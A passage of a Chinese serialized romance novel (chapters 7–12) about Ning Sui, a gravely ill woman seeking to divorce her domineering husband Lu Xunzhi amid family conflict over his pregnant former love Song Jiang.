只有陆奶奶找她的时候,才会用老宅的电话打来。 她赶紧回过去,那头陆老太太的精神矍铄的声音传来,透着宠溺,“我的乖孙,在忙什么?吃饭没?” 宁穗阴霾了几日的心情,终于散开。 陆奶奶是她在陆家唯一的温暖。 这么多年,陆奶奶都念着她们母女的好,不然也不会让自己最喜欢的孙子娶她。 “奶奶,我在工作室忙,静音了,对不起啊,让您担心了。” 宁穗在长辈面前,向来乖巧周全。 隔着手机,都能听出来陆奶奶开心得很,“好好,乖孙,我让勋之去接你了,一会儿来看看奶奶,好不好呀?” 陆奶奶语气像哄小孩,自己却也像个孩子,想起一出是一出。 宁穗都要跟陆勋之离婚了,当然不会劳驾他接自己。 更何况,陆勋之也没时间。 他现在大概在陪着宋姜吧。 她可不想惹陆勋之烦,到时候离婚的事上再拿捏她。 “不用,奶奶,我自己过去就行,很快的,您稍等。” 陆老太太又交代她注意安全,挂断了电话。 宁穗将仕女图的内画又检查了一遍,小心地收进自己的包里。 她打算带回去,明天找唐佳笑再配个像样的礼盒。 一切收拾妥当,她走到楼下。 低头看手机,打算叫个车。 停在路旁的车突然亮起车灯,照得宁穗睁不开眼。 她抬手挡在眼前,无奈地往边上靠。 车子驶过来,却意外停在她跟前。 驾驶位的车窗落下,陆勋之的司机露出职业微笑,“太太,先生来接您。” 宁穗一愣,没想到老太太还是指使了陆勋之。 算了,那就不打车,她还省钱了。 刚被车灯晃了一下,宁穗的视力有些受影响,开门上车,她没看清,人便跌进了温暖的怀里。 宁穗整个人懵了,猛地抬眼看向对方。 眼底满是茫然,嘴巴因无措而微微张开。 有些萌的样子,全数被陆勋之看在眼里。 他眼底少有的慵懒,声音也连带着有些哑意,“陆太太,就这么迫不及待?” 宁穗一愣,她并不知道陆勋之也会在。 平时她去陆家老宅,都是陆勋之让司机接送。 他本人很忙,有时候都赶不上吃饭,甚至不回去。 现在有了宋姜,他应该更没时间,怎么可能会亲自来接她呢。 被陆勋之的话一激,随即反应过来,她现在正坐在陆勋之的怀里。 这个姿势,怎么看都像是她在投怀送抱。 巨大的羞耻感吞没了她。 昨天还在闹着离婚,今天就这么暧昧,她更像是在闹脾气,博关注。 哪里有要离婚的样子。 宁穗看到陆勋之眼底的逗弄,心一横,直接翻身下去,整理衣服,冷声道,“我没陆总这么饥不择食。” 这话说得刺刺的,宁穗故意的,她现在不好受,凭什么还要哄着他。 可下一秒,下巴上一紧,男人的俊脸在眼前无限放大。 陆勋之戏谑的声音响在耳边,“睡自己的老婆,也算饥不择食?” 第7章 我会把你怀孕的事,告诉老太太 陆勋之从来都不是温柔的人。 这一点,宁穗早就知道。 但是在他说出这样轻蔑的话时,宁穗还是觉得心口一紧。 这五年,都没给过她什么尊重,更是跟别人怀上了孩子。 现在还能指望他说出什么好听的话呢? 宁穗扭动下巴,从他的手里脱离出来,他好像没用劲儿似的,宁穗一躲就躲开了。 “很快就不是了。”宁穗冷冷地说。 陆勋之眼神倏地冷下来。 这是在说,她很快就是他老婆了吗? 男人冷哼一声,“马上要去老宅,你说这个有意思吗?” 宁穗一愣,所以他还是觉得她在闹脾气? “我去老宅是因为奶奶。”宁穗语气有些急,声音也带了一些哽咽。 陆勋之冷淡的眼神扫过来,郑重警告,“奶奶身体不好。你最好不要乱说话。” 宁穗恍然,陆勋之特地来接她,是怕她乱说话? 说出宋姜给他生孩子的事? 陆奶奶年轻的时候,也没少清扫老头子身旁的莺莺燕燕。 在这种豪门圈里,哪个正室也是看不上外边的那些想上位的女人。 陆勋之怕宋姜将来进门被家长阻拦? 所以想瞒着? 想通了这一点,宁穗突然觉得很好笑。 既然这么心疼宋姜,为什么不赶紧跟她离婚。 让宋姜光明正大地进门多好。 宁穗也学着他的样子,哼笑一声,“谁对我好,我就对谁好。在陆家,只有奶奶对我好,我自然会心疼奶奶。” 说完这句话,她转过身看向窗外,没有继续交谈的意思。 陆勋之怔怔看着她的后脑,突然觉得她好像有哪里不一样了。 刚结婚的时候,宁穗几乎每天晚上都等他回家。 在他进门的一刻,她总是小跑地迎过来,像只小兔子。 乖乖巧巧地接过他的外套和包,会给他热夜宵。 一开始还是客客气气的。 后来有一次,陆勋之喝醉了,两人稀里糊涂圆了房。 从那以后,两人之间好像亲密了一些。 至少不再像是陌生人。 宁穗胆子也更大了,每次陆勋之回来她都会抱抱他。 有一段时间,两人好像有些热乎,像是普通的新婚夫妻。 宁穗那时候说得最多的—— “陆勋之你真好。” “我俩天下第一好。” 可怎么现在,成了在陆家只有奶奶对她好了呢? 陆勋之心中莫名有些烦闷,他想去拉过宁穗来讲讲。 但转脸看到她靠着车门睡着了。 眼底是藏不住的青灰色,看上去很疲惫。 他抬起的手一顿,落在她眼角,轻轻拂了一下,终究没有叫醒她。 车子缓慢行驶进陆家老宅,刚一停稳,宁穗随即“醒”过来,转身开门下车。 给陆勋之看愣住。 片刻他才反应过来,原来刚才宁穗是装睡。 单纯不想理他而已。 男人气得短笑一声,开门下车,跟在她身后。 宁穗走得很快,但是男人的腿长步子大,快到门口的时候,也追了上来。 随即手机声响起,男人的脚步顿住。 宁穗趁着这个空档,快步上前,还没进门,就听到了里面传出来了说笑声。 是郑美婵的声音,还有一个年轻声音,她不熟悉。 她突然又不想进去了,单独面对郑美婵,尤其是在她还有朋友在的时候,肯定又要拿她来耍耍威风。 可她凭什么呢? 以前是为了陆勋之,她可以忍受。 但是现在陆勋之,她都不要了。 还会对婆婆言听计从吗? 宁穗转身,想从侧门去后院找奶奶,但是一个声音叫住她,“是宁穗吧?” 宁穗一顿,缓缓转身看过去,郑美婵旁边坐着的女人缓缓起身。 一身鹅黄色的高定套装,看上去特别温婉可人。 宁穗愣住,这张脸…… “你好,我是宋姜。”对方笑着自我介绍,很是大方得体,“都来了,就进来坐吧。” 宁穗扯唇失笑,宋姜这是装都不装了,直接登堂入室来宣誓主权了吗? 心口像是被无数根针扎了一个遍。 宁穗觉得十分屈辱。 怪不得陆勋之刚才叮嘱她不要乱说话。 果然是要保护他的白月光。 可宁穗还是那句话,凭什么? 她都已经快要病死了,还要为这些人当遮羞布吗? “我当然知道坐,我现在还是陆太太。”宁穗迈开步子进门。 宋姜的脸色僵了僵,但很快恢复温柔的笑容。 一旁的郑美婵不乐意,端着长辈的架子,“宁穗,你平时没个分寸也就算了,宋姜面前可不是你随便造次的。” 说着,郑美婵拿起茶壶,给宋姜倒茶,还拉着她坐下,很是喜爱,“我知道你身体不方便,准备的是姜枣茶。” 宁穗看着茶杯里酱红色的茶水,原来郑美婵也知道了啊。 也是,宋姜怀孕,郑美婵大概很开心吧。 毕竟这五年,她喝了那么多的药,郑美婵不就是想要抱孙子吗? 哪怕是外边女人生的,也没关系,反正是陆勋之的就行了。 这个茶壶…… 宁穗也用过,不过是给郑美婵和她的朋友斟茶。 一口都没给她喝过。 她只有在旁边伺候的份。 想来真的可笑,她这五年哪里像是郑美婵的儿媳妇,更像是她的跟班。 宋姜觉察到宁穗的视线,觉得有些不好意思,笑着问,“宁穗,要不一起来喝吧。” 一直这么眼巴巴看着算怎么回事呢? 郑美婵却不以为意,“不用管她。” 根本不是什么重要的人。 宁穗捏着包带的手紧了紧。 “穗穗来了啊?”老太太的声音传来。 宁穗闻声望过去,随即弯唇,“奶奶。” “乖孙,快来,奶奶给你准备了好吃的茶点,都是你喜欢的呢。”陆奶奶苍老的手招了招。 宁穗迈步上前,搀扶上陆奶奶的手臂,两人并肩走进花厅,俨然一对好祖孙。 完全没有搭理郑美婵,更别说宋姜。 刚才还趾高气昂的郑美婵,瞬间被泼了冷水一样 可她偏偏没有办法。 陆老太太年轻时候就有的是力气和手段。 现在年龄大了,在陆家也是说一不二,郑美婵根本做不了她的主。 一旁的宋姜脸上也挂不住,她来了这半天,都没见到陆奶奶的面。 刚才进去通报的人,压根就没出来。 郑美婵倒是给她面子,一直陪坐在这。 可是宁穗一来,陆奶奶就跟算着似的,直接出来迎接。 刚才连正眼都没看宋姜。 宋姜眼圈瞬间红了,“阿姨,要不我还是走吧,奶奶好像不欢迎我。” 郑美婵也气不过,拍拍她的手,“你放心,我今天就会把你怀孕的事,告诉老太太。宁穗再受宠有什么用,一个不会下蛋的鸡而已。” 第8章 道歉而已,又不是要你的命! 宁穗跟着老太太去了花厅,把包放在沙发上,被老太太拉过去看花。 “这些都是我精心种的,一会儿让勋之带几盆回去,给你的。”陆奶奶神神秘秘的样子,惹笑了宁穗。 这些日子的阴霾,被陆奶奶的话驱散掉。 看到宁穗脸上有了笑意,陆奶奶心疼地摸她的脸颊,“乖孙,走吧,我们去院子里转转。” 宁穗没扫老人的兴致,挽着老太太的胳膊去院子里转。 “你那个婆婆,拎不清的,不用管她,你只要面上过得去就行了。以后有事,你就来找奶奶。我这把老骨头,还能顶几年。” 奶奶突然出口,让宁穗心口一热。 想到宋姜和郑美婵的关系那么亲密,宁穗觉得就算自己在乎,也没什么用。 宁穗不想陆奶奶难做,“我没事的。” 老太太心疼地拍拍她的手,“好孩子,来,去看看那边的花吧。” 两人在院子里转了一圈,老太太有些累,要回房休息,让宁穗自己在这边休息一会儿,然后到饭点再出去吃饭就好。 宁穗不想去外边跟郑美婵和宋姜见面,索性就留在院子里溜达。 她也没走太久,也有点乏了,打算回花厅去休息。 还没走到门口,透过落地玻璃,看到一个半大孩子,拿着什么东西在灌水。 她走进一看,倏地瞳孔一紧,竟然是她要送给周夫人的内画壶。 宁穗猛冲进去,一把夺过来,孩子被她吓了一跳,人晃了一下,撞到什么。 “哎呦!”宋姜低声呼痛。 小男孩慌了,刚才宋姜没离他这么近啊,怎么会撞到对方。 姑奶奶可是交代他,不许冲撞宋姜的。 小男孩害怕极了,看向旁边的宁穗。 宁穗脸色都黑了,内画壶是在内侧作画,用的都是国画材料,是溶于水的。 她来晚了,水已经灌进去,画已经花了。 废了,都废了。 她忙活了两个月的心血。 宁穗生气得心口起伏,语气严厉地看向那个孩子,“你为什么翻我的包?” 对方大概十岁左右,看到宁穗生气,也吓了一跳。 赶紧往宋姜身后躲。 宋姜脸色发白,但还是好声好气跟宁穗商量,“他还是个孩子,就算了吧,宁穗。” “算了?”宁穗气笑,“你也是做内画创作的,你不知道这个东西不能沾水吗?宋姜,你是故意的。” 不是询问,是肯定。 宁穗听说过宋姜,在国外得过几个奖,有一定的名气。 他们俩是同行,刚才宋姜就这么看着男孩玩宁穗的内画壶,还没有阻止,那就是故意的。 想到这个,宁穗更生气,但是现在不是生气的时候,她拿起自己的包,打算回工作室,看看还能不能补救。 胳膊被人拉住。 宁穗回头,迎上男孩的脸,稚气却又恶狠狠的,“你撞了宋姜姑姑,你还想走?门都没有!” 简直胡搅蛮缠,她刚才哪里碰过宋姜。 正在宁穗刚要张嘴说话的时候,门突然被人推开。 郑美婵乐呵呵地进来,看到三人的情况,倏地垮脸,“宁穗,你又作什么?” 她作? 宁穗连解释都懒得,将男人的手拉下去,转身要走。 却被郑美婵推了一把,宁穗没防备,胯骨撞到家具上,瞬间疼得她眼前一黑,整个人缓缓蹲了下去。 身后混乱了一阵子,而后安静下来。 宁穗眼前一黑又一黑,呼吸都跟着乱了,冷汗沿着脸颊砸在地上。 不知道是不是因为生病,身体虚,宁穗甚至觉得自己快要休克了。 突然一个力道将人拉起来。 宁穗浑身一软,扑到一个胸膛上,脚也是软的,她只能奋力抓住对方的衣领。 男人的身体一僵,生气的声音砸下来,“宁穗,你推了宋姜?” 宁穗慢半拍反应过来,她怔怔地看着对方,虽然睁着眼,但眼前的黑点好一会儿才消散掉。 陆勋之愤怒的俊脸,在眼前逐渐露出。 她的表情有些呆,脸色白得吓人,陆勋之的眉头微皱,张了张嘴还没说什么。 宁穗却用尽全身力气,推了他一把,试图从他的怀里挣脱出来。 但她现在浑身软绵绵,哪里还有力气,这一下,反倒像是欲擒故纵。 “你还在闹什么?”陆勋之有些不耐烦,“你现在去医院给她道歉,这件事就这么算了。” 宁穗一愣,她眼圈倏地红了,“道歉?我不去。” 她一字一顿,声音不大,却异常坚决。 陆勋之也没了耐心,薄唇紧抿,直接打横抱起她,快步往外走。 宁穗气急,眼前又是一黑,声音也有气无力,“我说了,我不去!陆勋之,你放下我!” 她抓紧了自己的包,还惦记着回去修复自己的内画壶。 可陆勋之就跟听不见似的,径直将她塞到车上。 宁穗转身就想从另一边下车,腰上一紧,男人将她捞回去,禁锢在怀里。 男人掐住她的下巴,迫使她抬头,“宁穗!” 他咬着后槽牙,明显也生气了,“只不过是去道歉而已,又不是要你的命!” 宁穗僵住。 宋姜知三当三,给陆勋之生孩子,毁了她的婚姻。 故意纵容那个孩子毁了她要送给周夫人的内画壶,葬送了她的前程。 这跟要她的命有什么区别? 她现在就是在等死啊! 不过是想办法挣点钱治病而已,怎么就不能给她留条活路呢! 她不是已经同意离婚了吗? “那就弄死我吧。”她就算死也不会道歉。 陆勋之一愣,看着宁穗闭上眼睛,满脸的决绝。 好像今天,如果逼着她道歉,她真的会去死一样。 陆勋之心底某个地方突然刺痛了一下。 他竟然有种心疼的感觉。 心疼?他怎么可能心疼,他从来都不爱宁穗。 这一点,他非常清楚。 可他心里莫名有些烦躁。 他松开宁穗,推门下车,车门被甩得震天响。 宁穗肩膀微微一抖,紧紧闭着眼睛,她现在痛极了,骨头像是被拆掉了一样,哪哪都不对劲。 换在以前,她一定会去哄陆勋之。 可是现在,她恨死陆勋之,一切侮辱都是来自他。 难道还不够吗? 几分钟后,车门被再次打开。 第9章 以后孩子给你和宁穗一起养 宁穗以为是陆勋之回来继续劝她去道歉。 老管家的声音在耳边响起,“少奶奶,您没事吧?老夫人让我来看看您。” 宁穗一愣,扬起眸子望过去,管家是位五十多岁的阿姨,跟她母亲差不多年纪,忠心于老太太。 爱屋及乌,每次见到她都是客客气气,对她很好。 宁穗越过她看向她身后。 管家立刻心领神会,“少爷……少爷去忙了。” 宁穗扯唇苦笑,去忙了。 真的是去忙了。 忙他的老婆孩子去了。 宁穗不过是个笑话而已。 “您没事吧,我看您脸色不好,要不叫医生来看看?” 管家都看出她的不对劲,可陆勋之还是丢下她去找宋姜。 甚至可能觉得,不让她去道歉,就已经是天大的恩赐了。 宁穗深呼吸,这会儿缓过来,她哑声开口,“刘姨,我没事,想回去休息了。能派辆车送我一下吗?对了,您不要跟奶奶说,我不想她老人家担心。” 马上就要离婚了,她不想让老太太为难。 到底陆勋之才是她的亲孙子,宋姜怀的,又是陆家的种。 老太太再疼她,她也不过是个外人了。 刘姨抿唇点点头,“那您等等,我去找司机。真的不用去医院吗?” 宁穗摇头。 宁穗让司机送她回工作室。 但是内画壶还是没抢救过来。 花色全融了。 宁穗颓败地趴在桌子上,又气又累,不知不觉竟然睡着了。 清晨时分,宁穗有些冷,但身子僵硬得醒不过来。 肩膀上一沉,毯子又暖又厚,帮宁穗找回一点生气。 她下意识地竟然想到了陆勋之。 之前她也在家里等陆勋之,等到在沙发上睡着。 陆勋之也是这样给她盖上毯子,然后将她抱到卧室。 她有时候醒过来,也装睡觉,就贪恋陆勋之这一点点温存。 宁穗的眼底发热,缓缓睁开眼。 入目却是唐佳笑担忧的脸,“宝,你怎么在这睡着了,都没盖被子。你现在的身体,不能这么折腾啊。” 宁穗怔了怔回神,勉强挤出笑容,缓缓起身,揉了揉僵硬的肩膀。 “呀,这……这仕女图怎么都花了!”唐佳笑看得心疼,捧在手心里仔细看,“进水了?怎么回事?” “是啊,进水了。”宁穗的声音轻得几乎听不见,颓丧又可怜。 进水的何止是内画壶,是她的脑子。 唐佳笑见她的状态不对,有些担心,“穗穗,你没事吧?是身体……不舒服吗?” 说到这,唐佳笑喉头一哽。 听说宁穗得了绝症之后,她在家哭了一晚上。 那么好的穗穗,怎么能得绝症呢? 凭什么啊! 唐佳笑不敢哭,怕宁穗难受,忍了忍,“现在怎么办?你不是打算送给周夫人当生日礼物吗?还有一个星期,也来不及做新的了。” 这个礼物,宁穗下了很多心血,现在全废了。 关键是临时再去找礼物,也不可能了。 再贵重的东西,周夫人都见过。 关键是,贵重的礼物,宁穗也送不起。 宁穗沉默了一会儿,她昨晚上就在想对策。 “笑笑,你店里有没有质量上乘的鼻烟壶工艺品?” 唐佳笑点点头,“顶级的说不上,但是上等的还是有几个。但是送给周夫人,也有点够不上。” 到底是豪门家族的夫人,这种万把块的市场货,还是差点意思。 宁穗点头,“你帮我准备一下,剩下的我来想办法。” …… 医院内,病床上的宋姜脸色发白,眉心皱成一团。 郑美婵心疼地摸她的脸和手。 房门被推开,陆勋之进来。 看到他还是一个人,郑美婵气急,但还是顾忌宋姜,压着声音,“她呢?还不来吗?” 陆勋之将保温桶放在桌上,“她又不会治病,来了也没用。” 郑美婵一愣,“你什么意思,你是在向着她?她差点害了宋姜的孩子!” 陆勋之垂着眸子,没有说话。 母子俩之间剑拔弩张。 宋姜适时醒来,拉了一下郑美婵的手,“阿姨,算了,别让勋之为难。” 郑美婵脸色好了一点,“你比那个女人懂事多了。还是你心疼勋之。” 宋姜脸色驼红,抿唇笑笑,“阿姨,您别开我玩笑了。” 但她还是小心地看向陆勋之,男人却还是脸色淡淡。 “行了,你们俩聊吧。”郑美婵也守了半夜,身体吃不消,起身出门。 病房内安静下来。 宋姜笑着拍拍旁边的椅子,“勋之,你过来坐吧。” 陆勋之却没有动,淡淡道,“你现在身子不方便,最好少出门。还有,不要往宁穗跟前凑。” 宋姜笑容一僵,随即眼底续起眼泪,泪汪汪的,看上去十分可怜,“勋之,你是在怪我吗?我只是帮阿姨看着亮亮。我也不知道宁穗为什么会突然推孩子和我。” 说着,她低头小声抽泣起来。 陆勋之眉心一皱,今天宁穗的样子,很不对劲。 他捏了捏眉心,“行了,你好好休息吧,我要回公司了。” 说完,没再看宋姜一眼,转身走了。 关门声响起,宋姜的哭声戛然而止。 她放下手,脸上表情有些狰狞。 陆勋之走出病房,看到站在走廊里的郑美婵。 他缓步上前,郑美婵突然转身,啪! 一巴掌扇在陆勋之脸上。 男人被扇得偏过脸去,却没有丝毫表情。 好像这个场景,已经发生过无数次。 郑美婵也没了刚才生动的表情,只剩下一脸的冷漠。 “你不肯离婚,我也依着你。大不了以后孩子给你和宁穗一起养。”郑美婵冷淡出声,“但要是宁穗敢动宋姜肚子里的孩子,我就让宁穗消失。我说到做到。” 郑美婵隐忍着怒气丢下这句话,踩着高跟鞋转身离开。 陆勋之淡漠地看了一眼她的背影,拿出手机,拨了电话出去。 另一头,宁穗刚走进咖啡厅,便接到陆勋之的电话。 她眉头都没皱一下,直接挂断。 宁穗环视一圈,窗边位置上,王习倏地站起来冲她挥手。 宁穗走过去,弯唇,“师兄,等久了吧?” 第10章 他同意离婚? 王习起身帮宁穗拉椅子,“不久,也刚来。” 宁穗无意扫了一眼他跟前的杯子,已经喝了半杯。 想来是来有一段时间,但是王习一直都是这样,温润得像是没有脾气。 “这是展览的请柬,正好给你。”王习微笑着推过来一张精致的请柬。 宁穗拿起来看了看,“好,我到时候会去。谢谢师兄。” “跟师兄还客气。对了,你在电话里说找我有事,是什么?” …… 陆勋之从医院出来,开了一段路,就停在了路边。 他一夜没睡,头疼欲裂。 缓了一会儿,拿出手机,打开宁穗的对话框。 不接电话,也没回信息。 陆勋之鼻腔里哼了一声,现在脾气这么大了吗? 以前不是这样的。 但他自己都没有意识到,其实心里并没有多么生气。 他缓缓看向窗外,路边有个花店。 奶奶说过宁穗喜欢花。 以前家里好像也总是有鲜花插瓶。 他记忆里,一回到家就能闻到香味,淡淡的,很舒服。 好像宁穗身上的气息。 他开门下车,快走到花店的时候,下意识地扫了一眼旁边的咖啡店,瞬间顿住脚步。 …… “你说的这件事应该可以做到。”王习起身走到宁穗身旁坐下,将手机递到两人中间,“这几种香型可以选择。都是中草药的,很安全——唔!” 电光火石之间,王习突然被一个力道捶得向前扑倒在桌面上。 咖啡杯哗啦啦散落一地。 这会儿周遭没什么人,但服务员第一时间过来询问,“先生,您没事吧?这位先生,请您离开,不然我报警了。” 宁穗先去查看王习的情况,见到他嘴角破了,才抬头看过去。 她愣了一下,随即有些烦躁,“陆勋之,你疯了!” 陆勋之的脸上阴沉得能滴出水,薄唇紧抿,什么都没说。 伸手抓住宁穗的手腕,将人拎了起来,转身就往门外走。 宁穗被他拉扯得趔趄了几步,差点要摔倒。 王习和服务员同时上前,想要阻拦陆勋之。 “女士,需要帮你报警吗?”服务员很有正义感。 王习嘴角沁出血,“小穗,你不用跟他走。” 陆勋之嗤笑出声,眼底的偏执达到顶峰,“她是我妻子,为什么不能跟我走?” 服务员,“?”瞬间瞪圆了眼睛,目光在三人之间打量。 老天爷,这是什么修罗场? 王习冷声说:“她要跟你离婚。” 陆勋之一怔,缓缓看向宁穗。 竟然连这个都跟王习说。 好,好得很。 他哼笑一声,像是鬼魅一般瘆人,“离了吗?” 随即他低头凑到宁穗耳边,用只有两人能听到的声音,“离得了吗?” 宁穗倏地睁圆了眼睛看着他。 疯了,真的疯了。 下一秒,陆勋之掐住宁穗的腰,将人半抱半揽地带走。 王习在后边喊,宁穗转过头看向他,轻轻摇头。 陆勋之的实力,宁穗很清楚。 他如果想折腾她和王习,太多方法。 她不想无辜连累王习。 陆勋之将人塞进车里,给她绑上安全带。 宁穗没有挣扎,陆勋之比她高一头多,根本就拗不过他。 更别提她现在的身体状况,哪里有什么力气反抗。 宁穗躺靠在椅背上,整个人透着一股冷漠。 陆勋之甩了车门上车,转眸看她,“我是不是告诉过你,不要跟他来往。” 宁穗眼神虚空望着前方,“我知道了。” 陆勋之一愣,“你这是什么态度?” “我没什么态度,我只是说我知道了。”宁穗懒得跟他吵。 他的白月光还不够他忙吗? 还要管她的闲事。 随便吧,他说什么就是什么,反正她不会听。 何必吵架浪费力气。 陆勋之当然也看出她的消息态度。 可她并没有反抗,倒显得他像个跳梁小丑。 一股火在陆勋之的胸口里燃烧,他猛地踩下油门。 车子疾驰而出。 宁穗紧张地抓住把手,一开始她以为陆勋之只是在发泄。 但车子朝着城外开出去。 车子越开越远,宁穗甚至已经认不清这到底是哪里。 城外的路更宽,陆勋之油门越踩越深。 宁穗的心脏快要跳出来,她整个人因为害怕紧紧贴在椅背上。 “陆勋之……陆勋之!” 宁穗颤抖的声音在车厢里回荡,男人疯狂的眼神缓缓收敛,似是找回自己的灵魂似的。 他快速地看了一眼宁穗,车子慢了下来。 车子急停在路边,宁穗整个人惯性往前冲了一下,又摔回座椅上。 胃里面翻腾着,快要倒过来似的。 宁穗慌忙开门下车,走到路边,手撑在膝盖上弯腰,佝偻着身子呕了起来。 但她早上什么都没吃,只刚才在咖啡馆里喝了一点牛奶。 呕出几口之后,只剩干呕。 眼前一黑又一黑,宁穗整个人没了支撑。 摇摇欲坠,眼看要撞到地面的时候,腰上一紧。 随即被人抱起来。 她下意识地抓住了陆勋之的肩膀,任由男人将她塞到车里。 水瓶递到嘴边,宁穗冷淡地扫了他一眼,接过去漱了漱口。 陆勋之看着她漱完,没有上车,而是靠在车边拿出了烟。 青灰色的烟袅袅而起,模糊了陆勋之的脸。 两人就这样僵持着。 许久,陆勋之突然开口,声音被烟磨得有些沙哑,却也多了几分性感。 “宁穗,以后别再见王习。” 宁穗无力地靠在椅背上,脸色白得像纸一样。 明明弱不禁风,说出来的话,却异常坚定,“陆勋之,离婚吧,算我求你。” 陆勋之的呼吸重了几分,声音砸下来,“为了王习要跟我离婚?” 宁穗气笑了,“宋姜不是还等着你吗?我成全你俩,不好吗?陆勋之,你让我别既要还要,那你呢?又当又立吗?” 明明是他出轨,却把责任推到宁穗身上,还扯上完全没有关系的王习。 陆勋之倾身弯腰,与宁穗平视,捏住宁穗的下巴微微抬起。 “想离婚是吗?可以。” 宁穗一愣,本以为陆勋之还要继续发疯,却不曾想他竟然轻易同意。 但她很快明白过来,陆勋之不是轻易妥协的人。 宁穗,“你有什么条件?” 第11章 结束就是结束了 “净身出户。” 陆勋之的话一出,竟然看到宁穗松了一口气。 她刚开始还想要点钱,自己治病,加上给妈妈留一些。 但是现在她只想离婚,一分钟都不想跟陆勋之再拉扯下去。 陆勋之看出她的意思,更加不爽,“就这么想离?好,那我好好跟你清算。” 说完,男人甩开她,起身走到驾驶座上车,调转车头,返回市中心。 一路上陆勋之都没有再说话。 宁穗也没有理他,只要他肯离婚,她心里石头就放下来。 路上,王习发来信息问她是否安全,宁穗回复了对方。 刚才谈的事,还没谈完,但也说得差不多。 宁穗以前跟王习一起工作的时候,两人就有默契。 大概是心头的事都放下来,困意袭来,宁穗靠在车窗上睡着了。 她本来想着到城中,随便找个地方下车。 但是这一觉不知不觉睡了很久。 等她醒来的时候,发现自己睡在景园的主卧里。 陆勋之竟然把她带回了家。 但他已经不知去向。 可是都要离婚了,还住在这里做什么? 宁穗睡了一觉身体轻松了不少,她干脆起身,收拾东西。 看了一圈,上千平的别墅里,竟然没多少东西是她的。 她本来就是物欲不高的人,她对珠宝首饰奢侈品没什么需求。 也没有场合用。 有些奢侈品是陆勋之每个节日照例送的。 也有些是老太太让高奢品牌按季节送来的。 她只在需要配郑美婵出席一些场合的时候穿戴过,其他的几乎都是新的。 这些东西宁穗不打算带走。 既然都说净身出户,她也不想跟陆勋之掰扯。 就算是在法律上首饰可以算女方的,要是陆勋之纠缠起来,那也是会要回去的。 毕竟都是几十万上百万的东西。 宁穗看了一圈,将手上的戒指摘下来放在收拾台上,最后还是拿走了一样。 是两人刚订婚的时候,陆奶奶逼着陆勋之带宁穗出去玩。 当时在一家手作银饰小店里,宁穗看上的一个手链,很有特点,但是几百块。 她很喜欢,因为那时候,是她最爱陆勋之的时候。 陆勋之不珍贵,可是当时她的爱,很珍贵。 宁穗拿下手链,装进了包里。 其他的衣服,高奢高定她没拿,只拿了自己平时花钱买的一些。 自从嫁到陆家,她自己买衣服也会注意,虽然不会买太贵的,但是在质感上还是很讲究的。 没多少,全部装进大行李箱,也绰绰有余。 这里是别墅区,叫车难,宁穗提前跟唐佳笑打了招呼,让对方来接她一下。 顺便,她要去唐佳笑的工作室,去看看鼻烟壶。 宁穗拉着箱子走到院子门口,一辆车停在她跟前。 车窗落下,她看到王习的脸,甚是惊讶,“师兄,你怎么在这啊?” 王习半边脸还有些红肿,有些滑稽的笑了笑,下车接过她手里的箱子,关切地打量她,确认她没有受伤,才说:“佳笑那边有点忙,拜托我过来接你。走吧,我带你去她店里。” 宁穗点点头上了车。 车子缓缓驶出别墅区,两人都没注意到,别墅二楼的书房落地窗前,高大的男人浑身阴沉,看着他们离开,垂在身侧的手缓缓蜷起,握在掌心的信纸刀割进了皮肤。 …… 车刚开出去没十分钟,宁穗的手机响起。 屏幕上闪烁着陆勋之的名字,她微微皱眉,关屏没接。 一旁的王习看到她的动作,微微抿唇,小心翼翼地问,“小穗,你真打算跟陆勋之离婚吗?” 这个消息并不是宁穗告诉他的,是唐佳笑。 他本来打算装作不知道,但是刚才见到陆勋之这么粗鲁对待宁穗,他一时情急便说了出来。 但已经说了,那干脆就问清楚。 宁穗淡淡开口,“对。” 她不想多说,毕竟是自己的私事,而且又不是什么光彩的事。 难道她要到处跟别人说,自己的老公已经跟别人怀了孩子? 王习一向有分寸,没再继续问,只在宁穗看不到的角度,微微弯唇。 那样的陆勋之,根本配不上宁穗。 “你想要的香料,我已经跟我妈说了,全都准备好了,一会儿看看佳笑那边的鼻烟壶造型,再改良一下配方就好了。” 宁穗一听这个来了兴趣,人明显精神头好了不少,“谢谢师兄。” 手机再次震动,宁穗翻过来看,这回是陆勋之的助理,这次是发的信息,一张照片。 她打开来看,是一只手,血淋淋的,有些吓人。 唐桓发了语音信息过来,“太太,总裁的手受伤了,您来看看吧。” 宁穗顿住,一旁的王习幽幽开口,“我记得陆勋之以前就是学医的吧。” 是啊,他以前是学医的,宁穗记得很清楚。 当年她还在上大学,半夜肠梗阻病发去急诊,接诊的就是正在实习期的陆勋之。 那时的少年温柔又细心。 给孤独又无助的少女的帮助,让她当时特别感动。 宁穗几乎是在一瞬间就爱上了他。 少女的爱那样热烈,可也抵不过数年间冷漠的磋磨。 宁穗脸色冷了几分,语气冷淡地拿起手机回了一条语音信息,“送医院吧,我现在很忙。” 说完她直接关了静音。 有些事,结束就是结束了。 宁穗和王习在唐佳笑的工作室里,待了半天。 最后才敲定了一个。 一切准备妥当,王习说:“我请两位美女吃饭吧。” 唐佳笑拍手,“好啊,我要吃红烧肉。” 宁穗心里也放下一块大石头,心情好了,胃口也来了,“好啊,那我们去吃本帮菜吧。” 三人敲定,一起下楼,快走到车边,她突然想起手机静音,便拿出来看。 看到二十几个未接来电,宁穗一愣,顿住脚步。 全是陆勋之打来的。 手机再次响起,这次是管家刘姨的手机号。 她赶紧接通,“喂,刘——” “你在哪儿?”耳边传来陆勋之的声音,打断了她的话。 宁穗心里咯噔一声,不答反问,“奶奶怎么了?” 陆勋之冷笑,宁穗以为他又要嘲讽什么,但是他只丢下一句,“来陆家医院。”便挂断了电话。 宁穗赶紧上车,神情里是掩盖不住的慌张,“师兄,麻烦你送我去趟医院吧。” “怎么了?” “奶奶出事了。”宁穗慌乱地系上安全带。 陆奶奶一向对她好,她是真的担心。 “好。”王习一边启动车子,一边劝,“你别太担心,陆家医院是顶级的。” 宁穗点点头,唇角抿成直线。 奶奶身体一向好,不应该出事的。 第12章 勋之,这就是你维护的老婆? 王习见两人送到医院,唐佳笑跟着宁穗一起下车。 “我也跟你去吧,免得一会儿他们再为难你。”唐佳笑现在最担心宁穗的身体。 之前郑美婵有多磋磨人,她是知道的。 现在老太太出事,郑美婵怕是又要作妖。 “好。”宁穗看向王习。 “我就不上去了。我就在停车场,随时联系。” 宁穗点头,陆勋之刚才在电话里的语气就很差,要时间到王习,肯定要发飙。 多一事不如少一事。 宁穗和唐佳笑上了VIP病房,一眼就看到在走廊里站着打电话的陆勋之。 